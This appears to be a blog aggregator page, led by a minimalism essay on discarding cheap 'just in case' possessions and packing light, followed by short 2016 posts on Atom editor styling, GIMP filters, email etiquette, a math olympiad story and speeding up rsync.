But then you think of all the possible situations you might encounter, and you’ll find your “just in case” items quickly outnumber (and outweigh) your “essentials” list.

(This applies equally to packing for travel, and just living in your house/apartment.)

I want to convince you to switch your thinking from “I might need this thing” to “Statistically, I will not need this thing, but I will need a thing, so I’ve planned accordingly.”

There’s a final, unexpected benefit to this thinking, too. I’ll expand on that at the end.

You cannot anticipate what you’ll need, just that you will need something

The problem is, of 20 items you’ll need some day, you have no idea when that will be, and you’re stuck caring for them, and storing them, and moving them, until that day.

Here’s how to sidestep the problem:

Give yourself permission to get rid of anything that you’re on the fence about, if it can be replaced for $20 or less.

You might choose to leave behind twenty items, and save yourself tons of time and frustration by getting rid of it, and then at the end, replace one or two items.

Now, what items should you apply this rule to? Well, obviously start with just that $20 price limit, and then apply it to anywhere you see an excess of items. It seems the top offenders here are:

Closets with clothing acquired for free or cheap (get rid of that shirt you got from that 5k you ran a few years back, and that thing you bought because it was on sale.)
Kitchen utensils. It’s hard rummaging around for that thing you use almost every day, when it’s buried in with things you’ve not used for six months. Get rid of the stuff you don’t use. Tape a $20 to your fridge, if you’d like, to symbolize your new line of thinking.
Tool chests/buckets/storage areas/garages/basements. We put things here that we don’t need, and we know we don’t need, we just think we might want them later.

I can provide two examples:

Kristi and I are traveling, and went to see an orchestra. We’ve been living out of small backpacks for two months, and had no formal attire. The orchestra was formal-ish, but Kristi didn’t have any dresses. So she went to a thrift store and bought a dress that she liked for about €4.
It was cold and wet in Austria, and Kristi did not have an umbrella or waterproof later. So she bought a water-resistant layer at a department store for €15. She could have packed more clothing at the beginning of the trip , but packed light, and acquired what she needed as she went. It was only after eight weeks on the road that this particular layer became critical.

Now, it may seem obvious that if you need something, and you’re in a city, you can probably buy it. But by PLANNING for this, you can adjust your trip packing ahead of time.

For example, in a trip, it’s possible that you’ll need to be able to swim, go to a formal event, exercise/work out, endure rain/snow, spill something on yourself, be comfortable in hot weather, and much more.

Right now, the minimum list of items to pack to cover those contingencies would be:

Swimsuit
Formal clothing
shorts/socks/shoes/shirt appropriate for exercise
rain clothing/insulated layers
replacement clothing for whatever you could spill a drink/food on
shorts/t-shirt

You would have to pack all of this clothing in addition to whatever you planned to pack and wear normally.

So, say to yourself “I’ll pack for none of these activities, but will give myself permission to spend $20 to equip myself for any of these situations.”

Now you’ve saved yourself TONS of space in your bag (maybe you won’t even need to check a bag on your trip. This saves you more time and money, and you’re more mobile just walking around.)

Now, remember that “final, unexpected benefit” I mentioned earlier?

The benefit of this kind of thinking is it forces you to rely a bit more on yourself, and a bit less on stuff. You have to be prepared to think a bit outside the box, and think dispassionately about your things. You’ll start thinking not just “I own these things” but also “Am I content being owned by these things?”

I was listening to a podcast by Tim Ferriss, who quoted Seneca to this effect:

A person’s degree of self-ownership is inversely related to their dependence on things around them for security and provision.

I’ll close with a little… aspirational dreaming? food for thought?

Much of the decisions we’re encouraged to make by the world around us is rooted in fear. Fear of loss, fear of impoverishment, fear of other people, fear of financial ruin, fear of someone not liking us, fear of the wrong person having power, fear of doing something and it not working out perfectly, fear of embarrassment, fear of criticism, fear of missing out, fear of being unlikable, fear of being uncool, etc.

Obviously, we don’t want to be fearful. It’s stressful, expensive, and greatly reduces your quality of life. So, treat your relationship with your stuff as a means of facing fear, and stepping a little beyond your comfort zone.

Additional Reading:

Links - May 7th, 2016

Avy Faingezicht — Sat, 07 May 2016 03:00:00 GMT

Highlight variables in Atom, Babel template strings

Muffin Man — Sat, 07 May 2016 03:00:00 GMT

Atom Babel plugin doesn't highlight variables in ES6 (ES2015) template strings.

You'll need to add this snippet to your Atom's style.less

atom-text-editor::shadow .variable.js {
  color: #F8F8F2;
}

In general, you can just inspect stuff in Atom, find out what classes element are using, and then style it via CSS (LESS). Just don't forget to add atom-text-editor::shadow before your rules.

If anyone is interested, I'm using Monokai Seti theme.

NIK Filters in GIMP, Wallpapers, a book and some more!

Erico Notes — Fri, 06 May 2016 22:31:45 GMT

Been a long time since I've written something here. So I thought I should post some small things I've done in the mean time.

Running NIK Collection filters on GIMP

I am slowly transitioning to use GIMP more. It's far easier once you've made it to look just like Photoshop - look this guide or this theme - if that's what you are coming from.

Recently, Google made some filters from NIK, a company it acquired that also makes the app Snapseed for Android, available for download for free. If you look the website, the filters seem awesome. Looking on the web you will findout that people have made it run with GIMP in Windows.

But I also ditched Windows some time ago, and am using Ubuntu. So I decided I would use them in Ubuntu. There isn't much to say here other than, yeah, I've done it, using Play On Linux, both the script for Play On Linux and for Gimp are available for download in the repo below.

https://github.com/ericoporto/NikInGimp

This was very useful and allowed me to use them on some images...

A Repository for my Wallpapers

So I don't have a Camera. I mean, a real one, with lots of fun manual controls. My smartphone recently died and I changed to using a Moto X Play - which I feel it's an awesome phone. And it has a 21 Megapixel camera, that although isn't the best on market, can take decent photos on good lighting.

With this, and the new filters, and the fact that I am learning how to use Darktable, I decided to post online the photos that I feel are nice enough to be used as wallpaper by other people. Link below.

https://github.com/ericoporto/myWallpapers

And that thing about a book...

Writing is something I am very slow. Like I take a lot of time between writing, reading, rewriting, rereading... But I decided to write something that I think should be easy for everyone, which is building your own computer. I know, desktops aren't exactly the hottest topic in 2016. But building PCs is something I really enjoy doing, reading on the trends, benchmarks, looking up YouTube videos showing the fps for games. Yeah, so hey, it's right here, How to Build A PC.

https://github.com/ericoporto/HowToBuildAPC

And what more?...

I feel like I have less and less free time in life the older I get. So there isn't much more. I've made a gist in github in the mean time to throw some homeless scripts and texts, maybe some stuff there will grow in the future. There is a link to my gist down here.

https://gist.github.com/ericoporto

bye for now!

Alaska travel bookmarks

xenodium.com @alvaro — Fri, 06 May 2016 03:00:00 GMT

Anchorage.
Denali NP.
Exit Glacier / Kenai Fjord NP.
Ice Falls Hike.
Iditarod race husky camp.
Seward: Kenai Fjord Wildlife cruise (Major Marine cruises).
Talkeetna fishing.

UIViewController bookmarks

xenodium.com @alvaro — Fri, 06 May 2016 03:00:00 GMT

Be a little better at personal email

Josh Thompson — Fri, 06 May 2016 03:00:00 GMT

The next bunch of posts will be me “clearing out the drawers” of notes I have scattered across my phone, computer, and brain. There is no unifying theme to what will be written here.

Three recommendations to email better

TL;DR Email should usually be as short as possible. More of a text message than a letter. If an email isn’t going to be one line (like a text) make it easy to skim, by using many line breaks.

If you need input from someone else to proceed, present a list of their options, and say “unless I hear otherwise, I’ll do {option}.” (source: unlessiheardifferently.com)

The Longer Version, AKA Don’t read this paragraph

I had a discussion with a friend a few months ago about “rules for email”, or “email best practices”. These “best practices” are all generally in the context of 1:1 email, or at most, one email to a small group. We all send and receive emails, and it may seem like it doesn’t matter if you write good email. I used to think it didn’t matter. Then I started emailing around when I was trying to get a job. Then I realized my email skills were EXACTLY what got me to a first interview at a company, or got a “thanks for your inquiry, but no thanks”, or no reply at all. A short email I sent is exactly why I have the job I have today. I’ll include some screenshots of early emails I sent in a later message. They are horrendous, extremely long tomes. I’d never send anything like that to a stranger these days. BUT! They were not complete wastes. I was trying to demonstrate my ability to deliver value to the person I was emailing, in regards to the job I wanted to do. This is a good goal to have, I just executed it poorly. Good email respects the reader, even if it is entirely devoid of pleasantries and flowery language. It is short and concise because important and busy people have a lot to do, and you want a sliver of their attention. A long email causes them to skip your email.

You didn’t even try to read that last paragraph, did you?

I sure wouldn’t have. Walls of text are terrible.

Here’s the same paragraph, but with line breaks and unnecessary words removed:

I had a discussion with a friend a few months ago about “rules for email”, or “best practices for emails between individuals”.

I never thought about my own email etiquette until I started emailing around when I was trying to get a job a few years ago. My email skills (or lack thereof) were EXACTLY what got me to a an interview at a company, or got a “thanks for your inquiry, but no thanks”, or no reply at all.

My job today at Litmus is a direct result of a short email I sent, but I would have never gotten the job if I’d ignored the following “rules of email”.

Good email respects the reader, even if it is entirely devoid of pleasantries and flowery language. A long email causes them to skip your message.

Does that look a little better? Maybe you actually read it, huh?

Here’s the best list of rules I can think of. Some of this applies more to emailing a peer, some of it fits more for emailing a “Very Important Person”.

Rule 1: Be concise

Relentlessly strip away words, sentences, and paragraphs that are not critical. If you can’t decide if it matters or not, it doesn’t matter.

Rule 2: Respect the time and attention of the reader.

This can be done by:

Doing your research before emailing them . Have a question? Show that you’ve tried to find the answer on your own.

Lead with the most important part of the email, provide additional context below. (This is known as a TL;DR, or “Too Long; Didn’t Read)

Create information hierarchy. Bold the important parts, assume the rest will be skimmed at best.

Make it easy for them to give a one-word answer, or at most, a one-sentence answer. It’s hard to write a question like this, but it’s putting the burden on the person you’re emailing to do it any other way.

Here’s an example of a poorly phrased question (Imagine you’re emailing a sponsored athlete, trying to learn how to become sponsored like them.)

Hey {athlete}, I’m trying to come up with same ways to get a sponsorship from {company}, and it seems like you’ve figured this out. What would you recommend I do?

How would you even begin to respond to this question? If I were the athlete, I’d be annoyed that they didn’t just google it.

Here’s a much better way to ask the same question:

Hi {athlete},

I’ve been following you for a while, and have been impressed with how you’ve done {thing1} and {thing2}.

It looks like your path to sponsorship started with {beginning}, then on your blog 2 years ago {link_to_post}, you said you started sponsorship with {desired company}. I’m working towards a similar arrangement, and have a few options to proceed.

Which of the following makes the most sense to you?

Option 1: Focus on growing my social media followers, while tagging the brands I want to get the attention by.

Option 2: Ignore social media for now, and focus on building relationships within the companies by attending trade shows, writing posts for their blog, etc.

Option 3: {some third option that you’ve discovered in your quest for a good answer}

Even if none of the options are what the person recommends, he or she will probably say something like “A mix of option 1 and 3, but make sure you do {thing}.”

When you’ve implemented their advice, you can reach out and tell them what you’ve done. They’ll be thrilled to see that they helped you.

Rule 3: Write short sentences, and short paragraphs.

The enter key is your best friend.

When is the last time you were reading something, and were annoyed by all the white space?

Probably never.

Look, that was a two-word paragraph.

I’m breaking every. single. rule. of. writing. (At least, according to what I was taught in school.)

But only the person who bothered reading this far sees this, and you’re probably not annoyed, huh?

Setting Up Laravel Elixir with Foundation 6

Jason Raimondi on Software Engineer — Thu, 05 May 2016 10:00:00 GMT

Laravel Elixir is a wrapper around a traditional Gulp build system that provides a clean, fluent API for defining basic Gulp Tasks. Although Laravel Elixir is branded with Laravel, it is truly a stand alone tool that can be used almost anywhere Gulp can. Laravel Elixir is a really powerful and useful tool and can make build systems that much easier for beginners. Let’s see how we can use Zurb’s Foundation for Sites 6 with Laravel Elixir so we can have a super minimal, yet powerfully flexible build system and Front End Framework.

Why schedule something that doesn't exist?

Josh Thompson — Thu, 05 May 2016 03:00:00 GMT

The first thing I did when making this post is I set it to be published tomorrow.

Then, I left the room for a bit. I didn’t have anything to say. Or, I didn’t think I did.

Yet, all over my computer, and in various list trackers and note-taking apps, I’ve got dozens of ideas to write about stashed away. I’ve got 25 potential posts in various states of done-ness.

All these words, with little pressure to write, but endless reason to refine a little longer.

In other words, a perfect recipe for procrastination.

I miss the habit of the mind of writing. Once I’ve “cleared the deck” of past things I have written, I’ve got to come up with new things to write. Which means I need to be cognizant of ideas that pass through my head, and I need to flesh them out to something that can be expressed.

Heck, I don’t even need to just notice ideas, I need to have ideas, and then execute on them.

So, here we are, a little after setting this post to be published, with nothing to say.

To my pleasant surprise, it seems I may have said something.

10 books in one summer, how I got in the national team

D13V — Thu, 05 May 2016 03:00:00 GMT

First of all, disclaimer. I am a math geek. I’ve always enjoyed solving math problems. I even got compare my “math biceps” with other math geeks on the International Math Olympiad. But I wasn’t a wunderkind. I always had better grades than average, but still mediocre for a long time. This is the story of how I improved from mediocre to the national team.

In the spring of ninth grade I qualified to go to the national round of the Bulgarian Math Olympiad. This round had about a hundred or so contestants from high schools all over the country.

My performance was kind of average. I didn’t rank especially high, even compared to the other nine graders. I wanted to compete for the National team, the top six, but it I was far from it.

Four of us from my high school made it to the national round. One of them, Doby, was in twelfth grade and already on the national team. He got a gold medal on IMO that July. There was one more twelve grader, who was on the informatics national team, and won a gold medal there. Plus me and one of my classmates.

The four of us hang out together at night, playing card games. We talked about a variety of topics, from which I don’t remember anything. What I remember though, is that at some point we asked Doby can do we need to get on the national team.

“Read ten math books this summer.”

I was expecting a much more involved answer. Reading ten books sounded too simple, though not easy. I hadn’t heard have much other advice on how to prepare to the top level, and I heeded it. That summer, I went to the public city library and read several of the mathematics books. Number theory, geometry, combinatorics, etc. I didn’t know what books to look for, but they have a corner with mathematic books, some of them decades old. I started reading whatever was the most interesting to me.

I read fewer than 10 books that summer, but I learned a lot. I also got to solve a bunch of math problems, for fun! This increased my appetite for problem solving and learning, and I continued practicing through the fall term. When the winter math competition came, the problems seemed easy to me. Exhilarated, I solved everything an hour early. I was super excited to see the results.

Then I realized I messed up one of the easier problems. I lost almost all the points for it. I got dishearthened and disappointed of my rushed approach. Still, when the results came out I got third place for tenth grade. I was happy. This was the first time I had placed among the top. That night I got drunk and threw up for the first time in my life.

The success gave me confidence, though I still believed that I have a long way to go until I have a chance to be in the national team. At the national round, I advanced to the top twelve. Surprising even for myself, after a few qualifier rounds, I got the last, sixth spot in the national team. That July, I earned a silver medal at the International Math Olympiad that July.

I had momentum.

The previous summer I had started looking beyond being thought by others, and decided that I can try to learn anything that I can wrap my mind around.

The 10 books I read showed me that I don’t need to wait for others to tell me what to learn. I could go and find the resources myself. That there are a lot of awesome opportunities to learn that are already available. The books were available in the library, but without the advice I wouldn’t have reached for them on my own.

This was my edge. I do not have higher IQ than the other students I often beat at the competitions. I befriended them and admired their wits and skills. I think we were all lucky enough to have enough IQ to be able to solve the hard math competition problems. And I believe that there are plenty others, even smarter, who didn’t even compete at all.

Beyond a given IQ, the determining factor for success became the preparation. I believe that a very large proportion of people could be great at problem solving, given enough motivation and access to resources. We can compare the average student today with the best students hundred years ago. Students hundred years ago had less resources to prepare from, and had lower math skills.

I was much luckier than most. I went to math high schools where I got more math preparation. And I was lucky to get advice which caused me to seek further knowledge and develop skills on my own. To go beyond what I was supposed to learn, and discover on my own.

Reading ten books in the summer of 2004 changed my trajectory and has positive effect on me even today.

Links - May 4th, 2016

Avy Faingezicht — Wed, 04 May 2016 03:00:00 GMT

When OOO impulse kicks in…

xenodium.com @alvaro — Tue, 03 May 2016 03:00:00 GMT

You start moving trivial bits of code into classes, with the anticipation that you might use it one day. Stop.
On naming, semantic clarity trumps brevity. Yup, the verbosity may be worth it.

Speeding Up rsync

smcleod.net — Tue, 03 May 2016 03:00:00 GMT

The most common way to use rsync is probably as such:

rsync -avr user@<source>:<source_dir> <dest_dir>

Resulting in 30-35MB/s depending on file sizes

This can be improved by using a more efficient, less secure encryption algorithm, disabling compression and telling the SSH client to disable some unneeded features that slow things down.

With the settings below I have achieved 100MB/s (at work between VMs) and over 300MB/s at home between SSD drives.

Pakistan travel bookmarks